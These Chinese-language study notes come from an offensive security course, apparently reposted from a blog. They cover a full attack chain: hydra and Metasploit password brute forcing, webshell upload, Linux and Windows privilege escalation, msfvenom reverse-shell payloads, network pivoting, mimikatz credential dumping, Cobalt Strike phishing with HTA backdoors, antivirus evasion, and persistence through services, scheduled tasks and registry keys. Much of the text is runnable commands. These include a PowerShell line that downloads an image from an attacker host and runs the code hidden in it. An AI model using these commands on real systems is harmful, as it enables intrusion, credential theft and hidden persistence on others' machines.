暗月教程学习笔记(杂记)
暗月kali笔记
adminer.php 数据库管理脚本
穷举爆破
【
hydra -L /root/常用用户名.txt -P /root/常用密码.txt 192.168.51.157 -f -t 15 -s 3306 mysql
kali msf
- msfconsole
- search login/search mysql
- use auxi.../scanner/mysql/mysql_login
- options
- set user_file /root/test/namelist.txt /unset.....
- set pass_file /root/test/pwlist.txt
- run
wfuzz百万密码破解
webshell密码破解
】
拿webshell(所有对服务器上文件的保存操作,都有可能)
【
- 上传文件
- 新建文件
- 编辑模版
- 备份数据库
- 设置网站信息(读配置文件.inc.php,注意闭合)
】
linux 提权
【
内核提权:交互 shell .pl文件
- win使用netcat 监听(nc -vvlp 1234)
- 菜刀上传.pl文件(tmp目录无执行权限),chmod +x .pl 增加权限, 运行.pl ,建立socket----后面无需在用菜刀
3 、cmd查看内核版本信息,exploit-db搜exp
4、菜刀上传exp.c,win+cmd chmod +x exp.c 增加权限, gcc exp.c -o exp 编译(可先本地编译在上传)
5、运行 ./exp uid从www-data提权到root
ls -al --查看权限,显示所有文件(包括隐藏)
uname -a --查看内核
cat /etc/*release -- 查看发行
cat /etc/shadow --需要root权限
============================================================
SUID提权
- 上传suid-exp.c
- root 编译 gcc suid-exp.c -o suid-exp
- root 加权 chmod 4775 suid-exp -----需要root权限,是否鸡肋(ls -al 注意此文件有s,增加了 suid 的属性)-----一般用带suid的可执行文件提权
- 劫持环境变量提权
echo "/bin/bash">cat && chmod 777 cat
export PATH=.:$PATH
- 运行 ./suid-exp ,此后都是以root执行命令了,提权成功
suid-exp.c
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}
已知的可以用来提权的Linux可执行文件有:
Nmap、Vim、find、Bash、More、Less、Nano、cp
查询根目录下所有带用 suid 属性的文件 :
find / -perm -u=s -type f 2>/dev/null
============================================================
CRON JOBS 定时任务提权
- cat /etc/crontab--发现定时任务,root执行定时任务
* * * * * root /tmp/test.py
- 修改test.py内容---os.system('chmod u+s /bin/dash')
- 隔一分钟后,获得root权限
GNU C library 动态链接区 $ORIGIN 溢出提权-------对系统版本有要求,ubuntu不成功
linux mysql udf 提权----------无权限导出udf到plugin目录,mysql root也不行
】
sudo passwd pc --直接设置密码,绕过复杂度限制
windows提权
【
- cmd.exe+iis6.0.exe 溢出提权
- mysql udf提权
{
条件:
- mysql 设置secure_file_priv = //不限制导入导出,默认不允许
- 手动新建文件夹plugin到lib目录
步骤
1、上传moon.php
2、导出udf
3、创建函数
}
3、ms sql提权
{
asp.aspx--shell内置各种功能,有时需要配合溢出exp提权
}
4、lpk.dll提权
限制win server2003和xp。生成并上传lpk.dll到开机自启动程序目录后需要重启机器(鸡肋?等待管理员重启),mstsc远程连接登陆前,5次shift后,ctrl+lpk的密码,即可打开后门。
5、mof提权
mysql root权限使用mof.php脚本输入添加用户命令,导出.mof文件 即可自动提权
----系统nullevt.mof每隔5秒监控进程创建和死亡,mof文件包含一段vb脚本,会被自动运行
6、zend提权---dll劫持
如果php安装了zend扩展解析,工具生成dll上传并替换掉原来的dll,需要重启web服务器+用户访问页面,talent即可正向连接目标机器---鸡肋?
msf也可生成反弹exe文件,用提权工具生成(exe+zend.dll)新zend.dll 并上传, 由zend.dll调用exe---鸡肋?
7、ftp提权
限制win server2003。2008权限不够--替换掉sethc.exe,远程界面,5次shift,弹出cmd界面
8、msf windows提权
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV 本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
- msf生成后门s.exe并菜刀上传
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=12345 -f
exe >/root/s.exe
- msf: use exploit/...
set payload windows/....
set lhost ....
set lport .....
run----kali开启tcp监听,菜刀运行s.exe
getuid--查看权限(一般 低)
------getsystem --通过各种攻击向量来提升系统用户权限
--------getprivs -----尽可能提升权限
------若成功
shell----得到终端.msf界面执行shell,netu user a a/add & net localgroup administrator a /add -- --添加管理员用户
--------若失败
search ms14_058
use 模块 (info 模块 ----查看信息)
options
set session 1
run ----获得system权限
getuid
migrate id(explorer.exe) --权限维持,注入进程,目标机器开机自动连接攻击机
【
获得权限后,使用的基础命令
ps --列出进程
background --把session放置后台
sessions 查看会话
back 返回主界面
shell 得到终端
ctrl+c 退出shell终端
rdesktop 192.168... 打开远程桌面
】
9、msf linux提权
1、msf生成后门 反弹shell脚本 php并菜刀上传
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.134 LPORT=12345 -f raw >
/root/shell.php
2、use ...
set payload...
set lhost....
set lport....
run ...
浏览器访问反弹shell.php,连接kali
getuid
shell---获得终端,查看系统信息--------代替菜刀
exploit-db搜索可用exp
gcc exp.c -o exp
chmod 777 exp
./exp --运行exp 提权
10、msf结合bugs.hacking8.com/tiquan 补丁自动对比工具,查找可利用漏洞
或 烂土豆(win),脏牛(linux)
】
内网渗透
【
- ssh隧道------针对linux
正向:内网服务器的80端口映射到web服务器的7777端口,kali访问web的7777端口
ssh -fNL {本地地址}:{本地端口}:{目标机器}:{目标端口} {中间机器}
ssh -fNL 0.0.0.0:7777:10.10.10.129:80 pc@192.168.0.128
.128 web服务器执行如上指令,
.129 kali访问 192.168.0.128:7777/1.php
反向连接:web服务器的22端口反弹到kali root权限下。
.128 web服务器 :ssh -qTfnN -R 2222:127.0.0.1:22 root@192.168.0.129
kali(192.168.0.129): .
【/etc/init.d/ssh start ---开启ssh,
ssh -p 2222 root@127.0.0.1
curl http://10.10.10.129 访问内网----只能在终端当前上下文访问,浏览器不行
】
- 端口转发与映射----针对windows(192.168.0.130)
msf生成后门s.exe并上传到web,kali监听反弹
portfwd --h
映射端口:---内网80端口映射到kali
【portfwd add -L -l -r -p】
portfwd add -L 192.168.0.128 -l 2020 -r 10.10.10.129 -p 80
kali浏览器:192.168.0.128:2020
转发端口:---web服务器3389端口转发到kali
portfwd add -l 5555 -r 192.168.0.130 -p 3389
rdesktop 127.0.0.1:5555 ---远程桌面登陆web服务器
{
portfwd list
portfwd flush
}
- socket隧道------针对linux
- kali和web都下载ssocks, ./configure&&make 编译后,进入src目录
- kali --- ./rcsocks -l 1088 -p 1080 -vv 开启监听
等待远程socks5服务器访问本地1080端口,创建本地1080和本地1088端口的连接通道(--vv 显示详细信息)
- web----./rssocks -s 192.168.0.129:1080 -vv 反向连接kali的1080端口
- kali----gedit /etc/proxychains 禁用sock4,添加socks5 127.0.0.1 1088
- kali ----proxychains firefox http://10.10.10.129 --访问内网
- kali----proxychains nmap 10.10.10.129 -Pn -sT 0/24 ---扫描内网,需要通过proxychains
- 跨路由扫描---------针对windows web服务器
msf生成反弹s.exe并上传到web2003,运行
kali msf 监听
- {getuid,ipconfig,sysinfo,shell ,route--网络配置}
- run get_local_subnets--查看路由信息
- run autoroute -p 打印路由
- run autoroute -s 10.10.10.0/24 ---增加路由 run autoroute -p
- background
- use auxi../server/socks4a
- options----set svrport 10044,set svrhost 192.168.0.129
- run -----修改etc/proxychains 禁用所有socks,添加socks4 192.168.0.129 10044(最好用外网ip,不要用127.0.0.1,否则外部pc代理不进来)
- proxychains nmap -Pn -sT 10.10.10.129 ---扫描内网
- proxychains firefox http://10.10.10.129
】
【
- 内网测试
- msf生成反弹s.exe并上传到web2003,运行。kali msf 监听
- getuid,getsystem--提权,ps, migrate id --进程迁移
- info post/multi/gather/ping_sweep
run post/multi/gather/ping_sweep rhosts=10.10.10.0/24 扫描内网段,检测存活ip
- 或者 info post/windows/gather/arp_scanner
run post/windows/gather/arp_scanner rhosts=10.10.10.0/24 扫描内网段
5、run autoroute -p 打印路由 run autoroute -s 10.10.10.0/24 ---增加路由 run autoroute -p
6、background ,use auxiliary/server/socks4a , options,
set srvhost 192.168.0.129 ,run
7、gedit /etc/proxychains.conf 替换socks4 192.168.0.129 1080
8、proxychains nmap -sT -Pn -p 445,22,80,3306 10.10.10.130-135 --open
----扫描内网段机器开发端口
proxychains curl http://10.10.10.132---代理访问内网80端口
9、sessions -i 1, meterpreter > hashdump ------获取所有hash(md5解密)---可远 程web
background
---------------------------------开始渗透内网------------------------------------------
10、msf auxiliary(server/socks4a) > use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
options
set rhost 10.10.10.133
set smbuser Administrator ------web user
set smbpass f0d1........-----dump的web hash
run----进入内网133
ipconfig 验证
load mimikatz
kerberos----直接解密hash得到明文密码(或 msv---比hashdump优势)
run getgui -e 开启远程桌面
11、kali : proxychains rdesktop 10.10.10.133 ---远程桌面连接内网
】
【
cs笔记
【· beacon命令行:
- checkin ---强制靶机回连一次
- mode dns/dns-txt/http --转换协议
- ?mode --查看mode帮助
】
【会话管理
- 增加会话 ------选择其它server监听器,则是备份会话
- msf生成木马 与cs会话
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.0.129 LPORT=8808 -f exe > /tmp/shell.exe
cs 用beacon_http监听129的8808端口---反弹
肉鸡运行shell.exe
3、msf使用IE漏洞ms14_064与cs会话-----(ms14_064,测试 xp ok,win7 no,理论上通杀)
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.0.131-----kali 本机
set srvport 80 -----目的 生成url
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.129----cs server,
set lport 5001--cs beacon_http监听5001
set disablepayloadhandler true---不需要在metasploit框架内创建处理程序来服务有效负载连接,即 无meterpreter
set prependmigrate true--在利用之后立即迁移到另一个进程,允许您的会话在被利用的应用程序崩溃或关闭时存活.对于客户端攻击非常重要
run ---生成url http://192.168.0.131:80/......
----肉鸡IE浏览器访问url,kali响应并Sending exploit和Sending VBS stager,无session ,cs即可显示上线的肉鸡
4、msf session 派生会话给cs(ms14_064,测试仅 xp ok)
use exploit/windows/browser/ms14_064_ole_code_execution
set srvhost 192.168.0.131-----kali 本机
set srvport 80 -----生成的url可访问
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.131----本机
set lport 5001
run ---------disablepayloadhandler,prependmigrate默认值false
-------得到攻击url,肉鸡IE访问url,kali得到session
sessions, session -i 1, getuid,ipconfig, background
-------------------session派生给cs---------------
use exploit/windows/local/payload_inject
set session 1
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.129-----cs server
set lport 5001
run----cs显示上线的肉鸡
】
【攻击
{后门
- html 后门.hta 仅支持powershell (vba,executable --no)
- ms office宏病毒--需要office设置宏安全性为低,默认高。或允许宏运行
- exe后门
}
{钓鱼
1、生成1.hta的powershell版html后门
2、创建 文件下载,把1.hta上传到server,保持文件名不变,生成下载URL
- 创建 克隆网站,克隆网址为http://www.baidu.com,attack项选择文件下载url,生成url
或者 msf利用ms14_064漏洞生成攻击url,克隆网站 attack里填写攻击url。
- 用户访问url,提示下载并运行1.hta后门。cs上线肉鸡
}
】
【域内自动化横向渗透
1、肉鸡提权至system(是否需要?),目标机右键登陆,选择 psexec、psexec64,使用当前会话访问令牌(域用户可登陆域内任意主机)
】
【域内隧道的使用
- [正向连接]cs socket 代理 指定端口,代理信息界面查看,kali修改etc/proxychains,保持代理信息一致。使用proxychains nmap -Pn sT 扫描内网
- setg Proxies socks4:192.168.0.129:31519
setg ReverseAllowProxy true
......使用永恒之蓝攻击---攻击域用户失败
unsetg Proxies
3、创建 中转反向监听器 (10.10.10.128:4444),生成后门,cs上传到.128运行,即可反 向连接
】
【payload 免杀
- HanzoInjection.exe -e payload.bin 向内存注入代码
cs payload选择raw,生成payload.bin文件。cmd HanzoInjection.exe -e payload.bin
360火绒均查杀不出内存后门
2、Invoke-PSImage 工具
将一个PowerShell脚本中的字节嵌入到PNG图像文件的像素之中,并生成一行执行命令来帮助我们从文件下载或Web(传递-Web标记)执行它们,利用大图片中每个像素点最后4位有效位的2个颜色值来存储Payload数据,图片尽可能大,像素点才多。
cs生成powershell后门 payload.ps1,目录下cmd--
Powershell -ExecutionPolicy Bypass
Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg –Out test2.png –Web
(test和test2基本无差别)
生成利用代码:{----禁止换行
sal a New-Object;Add-Type -AssemblyName "System.Drawing";$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534]))
}
cs生成 上传test2.png 的链接 http://192.168.0.129:80/test2.png, 替换掉 利用代码里的链接,把利用代码 放到 靶机powershell里执行即可。
3、python 免杀
cs生成python的16进制文件payload.py,把内容放到test.py(含有编译16进制的模块代码),pyinstaller -F test.py 编译生成exe,上传到靶机运行。(被360查杀,火绒否)
】
【cs绕过检测工具--profile使交互数据内容更符合真实用户的流量,比如填充http的请求内容
./teamserver ip passwd [profile文件]
./teamserver ip passwd Malleable-C2-Profiles/crimeware/asprox.profile
修改默认端口50050,防止被IDS检测
AggressorScripts-----入侵脚本拓展,脚本管理器
】
【权限维持--可持续后门
1、服务自启动----未成功
shell sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:80/a'))"\""
shell sc config "Windows Power" start= auto
shell sc description "Windows Power" "windows auto service"
shell net start "Windows Power"
shell sc delete "Windows Power"
2、服务自启动---成功
shell sc create "server power" binpath= "C:\z\artifact.exe"----exe做免杀
shell sc description "server power" "description" 设置服务的描述字符串
shell sc config "server power" start= auto 设置这个服务为自动启动
shell net start "server power" 启动服务
shell sc delete "server Power"
3、计划任务
schtasks /create /tn "windowsup" /tr "C:\z\artifact.exe" /ru SYSTEM /sc onstart
4、注册表 启动
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\artifact.exe" /f
】
【veil 免杀工具
veil
use 1--Evasion, (Ordnance可生成在Veil-Evasion中使用的shellcode)
list
use 17
generate...
3 ---custom
cs 生成 veil 的payload,复制16进制内容到veil
】
】
【empire笔记 ----empire-web 网页版
- powershell-empire 启动
- uselistener http
- info 、set 、 unset 、execute、help、back、kill
- usestager windows/launcher_bat
- info 、set listener 、execute。
- 把生成的bat文件放到网站目录下,等待靶机访问,得到会话
- agents,list, interact xxx,rename yy.
setmodule--使用模块
】

浙公网安备 33010602011771号